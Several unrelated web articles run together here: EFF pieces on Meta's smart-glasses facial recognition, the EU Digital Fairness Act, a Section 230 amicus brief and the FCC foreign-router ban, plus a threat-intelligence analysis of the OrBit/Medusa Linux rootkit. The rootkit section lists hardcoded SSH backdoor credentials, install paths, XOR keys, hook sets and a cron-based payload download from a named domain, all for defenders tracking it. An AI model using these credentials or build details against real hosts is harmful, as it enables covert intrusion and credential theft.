This dangerous new Meta functionality stores faceprints as a series of 2,048 numbers uniquely representing the positioning of a person’s facial features. When this feature is activated, it will convert every new face in the sightlines of the surveillance glasses into a series of numbers, and compare it to all the existing faceprints in the user’s database.
Wired and EFF confirmed that the code is present and active, though not yet exposed to consumers. Another researcher confirmed that when they manually added a face to the app database by connecting the phone to a computer in debug mode and issuing a few commands, the glasses would subsequently detect that face when it came into view.
Meta has already paid $650 million to settle a BIPA lawsuit challenging mass facial recognition of every photo posted to its platform, a feature which it has since shut down.
Despite the billions of reasons not to, Meta seems to have created the capacity to turn their customers into a distributed surveillance machine. This is just one more reason to think twice before buying or using Meta’s surveillance glasses.
Considering that Meta previously wrote in an internal document that they want to launch facial recognition “during a dynamic political environment where many civil society groups that we would expect to attack us would have their resources focused on other concerns," this invasive new feature doesn't come as a surprise. But Meta's surveillance plans won't escape public scrutiny that easily, and we'll be watching if this feature is rolled out to the public.
In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.
It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.
Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.
This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.
Background: What is OrBit?
For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.
Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.
July 2022
Hash
XOR
Working dir
SSH Username
SSH Password
# Exports
# Hooks
Dropper
40b5127c
0xA2
/lib/libntpVnQE6mk/
2l8
c4ss0ul3tt3
66
54
f1612924
We will refer to this variant as Lineage A “Full” build of OrBit.
OrBit variants through the years
In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.
December 2022
The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.
All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.
The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).
The rootkit’s hook surface stayed stable.
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
ec7462c3
0xA2
/lib/libseconf/
adm1n
asdfasdf
67
53
8ea420d9
Samples From 2023
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
d419a9b1
0xA2
/lib/fuckwhitehatshome/
fuckwhitehatsuser
fuckwhitehatspass
67
53
296d28eb
0xA2
/lib/libseconf/
adm1n
asdfasdf
65
54
3ba6c174
0xA2
/lib/libseconf/
adm1n
(not present)
54
49
26082cd3
4203271c
0xA2
/lib/libseconf/
b4ph0m3t0
(not present)
54
49
The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.
The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().
The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.
Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.
The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.
Samples From 2024
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
eea274ed
0xAA
/lib64/libseconf/
Y0u4reCu6e
1qaz@WSX3edc123
66
54
a6138638
0xAA
/lib/locate/
Y0u4reCu6e
1qaz@WSX3edc123
66
54
a34299a1
0xA2
/lib/libseconf/
rebel
(not present)
56
49
b1dd18a6
0xA2
/lib/libseconf/
Gestuff
(not present)
54
49
fc2e0cb6
989f7eb4
0xA2
/lib/libseconf/
adm1n
(not present)
54
49
48a68d05
2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.
eea274ed / a6138638: Lineage A, 0xAA key rotation
These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.
Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes:
Credential harvesting is saved in remote.txt.
This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).
The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.
a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation
These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.
989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.
Samples From 2025
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Role
8e83cbb2
0xA2
/lib/libseconf/
infinity
302010
66
54
payload .so
2b2eeb22
0xA2
/lib/libseconf/
adm1n
asdfasdf
64
54
payload .so (extracted from d3d204c1)
84828f31
0xA2
/lib/libseconf/
adm1n
asdfasdf
64
54
truncated copy of2b2eeb22
090b15fd
—
—
—
—
—
—
dropper (carries 8e83cbb2)
64a3ebd3
—
—
—
—
—
—
dropper (carries 8e83cbb2)
b85ed157
—
—
—
—
—
—
dropper (carries 8e83cbb2)
d3d204c1
—
—
—
—
—
—
dropper (carries 2b2eeb22)
73b95b7d
n/a
—
—
—
—
—
infector (carries 090b15fd as inner ELF)
The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.
Two distinct rootkit .so builds are present in 2025, both Lineage A:
8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).
2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.
XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638‘s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.
Dropper Samples
090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).
73b95b7d: A New Dropper Architecture
73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.
The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.
The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:
/bin/ls
All 64-bit ELF files in the current working directory that have read/write access.
Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.
This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor.
This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.
The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.
The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.
Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).
Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.
The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.
Shared BANNER_0_HASH-IP value.Resolution of http://cf0[.]pw
Samples From February 2026
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
04c06be0
0xA2
/lib/libseconf/
jokerteam
HACK89SERVER
64
54
d7b487d2
0xA2
/lib/libseconf/
57ill4Cu63
1qaz@WSX3edc098
64
54
These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.
No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.
Connection to BLOCKADE SPIDER
In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.
BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.
Origin: OrBit is a fork of the Medusa open-source rootkit
Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.
Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.
We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.
Evidence of the fork
The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.
The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).
$ readelf -s ec7462c3f4a874… | awk ‘/FILE LOCAL/’
25: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
34: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c
40: 0000000000000000 0 FILE LOCAL DEFAULT ABS rknet.c
46: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE LOCAL/’
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c
15: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
$ readelf -s 26082cd36fdaf7… | awk ‘/FILE LOCAL/’
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkload.c
14: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.
Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.
The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.
Per-Module Source Mapping
Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:
Medusa source
Role
Corresponding OrBit artifact
src/rkld.c
Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)
Not compiled in the default Makefile. Linked in only in Lineage A “full” builds.
The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.
Timeline Anomaly
Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.
Implications
The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.
Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written.
Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out.
The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen.
The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly.
The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.
Conclusion
The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.
Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.
The next few years will be decisive for EU digital policymaking. With major laws like the Digital Services Act, the Digital Markets Act, and the AI Act now in place, the EU is entering an enforcement era that will show whether these rules are rights-respecting or drift toward overreach and corporate control. With the proposed EU’s Digital Fairness Act (DFA), the Commission is now turning to increasingly visible risks for users, such as dark patterns and exploitative personalization. Its “Digital Fairness Fitness Check” makes clear that existing consumer rules need updating to reflect how digital markets operate today.
But not all proposed solutions point in the right direction. Regulators are already flirting with measures that rely on expanded surveillance, such as age verification mandates—surface-level fixes that risk undermining fundamental rights while offering little more than a false sense of protection.
For EFF, digital fairness means addressing the root causes of harm, not requiring platforms to exert more control over their users. It means safeguarding privacy, freedom of expression, and the rights of users and developers.
If the DFA is to make a real difference, it must tackle structural imbalances. Lawmakers should focus on two interlocking principles. First, prioritize privacy. Reforms should address harms driven by surveillance-based business models, alongside deceptive design practices that impair informed choices. Second, strengthen user sovereignty, which is also a necessary precondition for European digital sovereignty more broadly. Strengthening user sovereignty means taking measures that address user lock-in, coercive contract terms, and manipulative defaults that limit users’ ability to freely choose how they use digital products and services.
Together, these principles would support the EU’s objectives of consistent consumer protection, fair markets, and a more coherent legal framework. If implemented properly, the EU could address power imbalances and build trust in Europe’s digital economy.
Ban Dark Patterns
Dark patterns are practices that impair users’ ability to make informed and autonomous decisions. Many companies deploy these tactics through interface design to steer choices and influence behavior. Their impact goes beyond poor consumer decisions. Dark patterns push users to share personal data they would not otherwise disclose and undermine autonomy by making alternatives harder to access.
The DFA should address this by clearly prohibiting misleading interfaces that distort user choice in commercial contexts. While the Digital Services Act introduced a definition, it only partially bans such practices and leaves gaps across existing consumer law rules. The DFA should close these gaps by, at the very least, introducing explicit prohibitions and clearer enforcement rules, without resorting to design mandates.
Tackle Commercial Surveillance
At the core of digital unfairness lies the pervasive collection and use of personal data. Surveillance and profiling drive many of the harms regulators are trying to address, from dark patterns to exploitative personalization. The DFA should tackle these incentives directly by reducing reliance on surveillance-based business models. These practices are fundamentally incompatible with privacy and fairness, and they distort digital markets by rewarding data exploitation rather than quality of service. At a minimum, the DFA should address unfair profiling and surveillance advertising by strengthening privacy rights and banning pay-for-privacy schemes. Users should not have to trade their data or pay extra to avoid being tracked.Accordingly, the DFA should support the recognition of automated privacy signals by web browsers and mobile operating systems, which give users a better way to reject tracking and exercise their rights. Practices that override such signals through banners or interface design should be considered unfair.
Addressing surveillance and profiling also protects children, since many online harms are tied to the collection and exploitation of their data. Systems that serve ads or curate content often rely on intrusive profiling practices, raising concerns about privacy and fairness, particularly when applied to minors. Rather than turning to invasive age verification, the focus should be on limiting data use by default.
Strengthen User Sovereignty
There is a major gap in how EU law addresses user autonomy in digital markets: many digital products and services still restrict what people can do with what they pay for through opaque or one-sided licensing terms, technical protection measures, and remote controls. These mechanisms increasingly limit lawful use, modification, or access after purchase, allowing providers to revoke access, disable functionalities, or degrade performance over time. In practice, this turns ownership into a conditional rental.
Consumers must be able to use and resell digital goods without hidden limitations and with clear licensing terms.Too often, technical and contractual lock-ins, including remote lockouts and unilateral restrictions on functionality, erode that control.Recent legal reforms show that progress is possible. Rules such as those under the Digital Markets Act have begun to curb technical and contractual barriers and promote user choice. However, many restrictions persist.
The DFA must address these practices by targeting unfair post-sale restrictions and strengthening users’ ability to control and switch services. This means setting clear limits on unfair terms and misleading practices, alongside robust transparency on how digital services function over time. It should also strengthen interoperability and support user control, allowing people to access third-party applications and to let trusted applications act on their behalf, reducing lock-in and expanding meaningful choice in how users interact with digital services.
EFF filed an amicus brief for the second time in the U.S. Court of Appeals for the Ninth Circuit, arguing that allowing cases against the Apple, Google, and Facebook app stores to proceed could lead to greater censorship of users’ online speech.
Our brief argues that the app stores should not lose Section 230 immunity for hosting “social casino” apps just because they process payments for virtual chips within those apps. Otherwise, all platforms that facilitate financial transactions for online content—beyond app stores and the apps and games they distribute—would be forced to censor user content to mitigate their legal exposure.
Social casino apps are online games where users can buy virtual chips with real money but can’t ever cash out their winnings. The three cases against Apple, Google, and Facebook were brought by plaintiffs who spent large sums of money on virtual chips and even became addicted to these games. The plaintiffs argue that social casino apps violate various state gambling laws.
At issue on appeal is the part of Section 230 that provides immunity to online platforms when they are sued for harmful content created by others—in this case, the social casino apps that plaintiffs downloaded from the various app stores and the virtual chips they bought within the apps.
Section 230 is the foundational law that has, since 1996, created legal breathing room for internet intermediaries (and their users) to publish third-party content. Online speech is largely mediated by these private companies, allowing all of us to speak, access information, and engage in commerce online, without requiring that we have loads of money or technical skills.
The lower court hearing the case ruled that the companies do not have Section 230 immunity because they allow the social casino apps to use the platforms’ payment processing services for the in-app purchasing of virtual chips.
However, in our brief we urged the Ninth Circuit to reverse the district court and hold that Section 230 does apply to the app stores, even when they process payments for virtual chips within the social casino apps. The app stores would undeniably have Section 230 immunity if sued for simply hosting the allegedly illegal social casino apps in their respective stores. Congress made no distinction—and the court shouldn’t recognize one—between hosting third-party content and processing payments for the same third-party content. Both are editorial choices of the platforms that are protected by Section 230.
We also argued that a rule that exposes internet intermediaries to potential liability for facilitating a financial transaction related to unlawful user content would have huge implications beyond the app stores. All platforms that facilitate financial transactions for third-party content would be forced to censor any user speech that may in any way risk legal exposure for the platform. This would harm the open internet—the unique ability of anyone with an internet connection to communicate with others around the world cheaply, easily, and quickly.
The plaintiffs argue that the app stores could preserve their Section 230 immunity by simply refusing to process in-app purchases of virtual chips. But the plaintiffs’ position fails to recognize that other platforms don’t have such a choice. Etsy, for example, facilitates purchases of virtual art, while Patreon enables artists to be supported by memberships. Platforms like these would lose Section 230 immunity and be exposed to potential liability simply because they processed payments for user content that a plaintiff argues is illegal. That outcome would threaten the entire business models of these services, ultimately harming users’ ability to share and access online speech.
The app stores should be protected by Section 230—a law that protects Americans’ freedom of expression online by protecting the intermediaries we all rely on—irrespective of their role as payment processors.
On March 23, the FCC issued an update to their Covered List, a list of equipment banned from obtaining regulatory approval necessary for U.S. sale (and thus effectively a ban on sale of new devices), to include all new routers produced in foreign countries unless they are specifically given an exception by the Department of Defense (DoD) or DHS. The Commission cited “security gaps in foreign-made routers” leading to widespread cyberattacks as justification for the ban, mentioning the high-profile attacks by Chinese advanced persistent threat actors Volt, Flax, and SaltTyphoon. Although the stated intention is to stem the very real threat of domestic residential routers being commandeered to initiate attacks and act as residential proxies, this sweeping move serves as a blunt instrument that will impact many harmless products. In addition to being far too broad, it won’t even affect many vulnerable devices that are most active in these types of attacks: IoT and connected smart home devices.
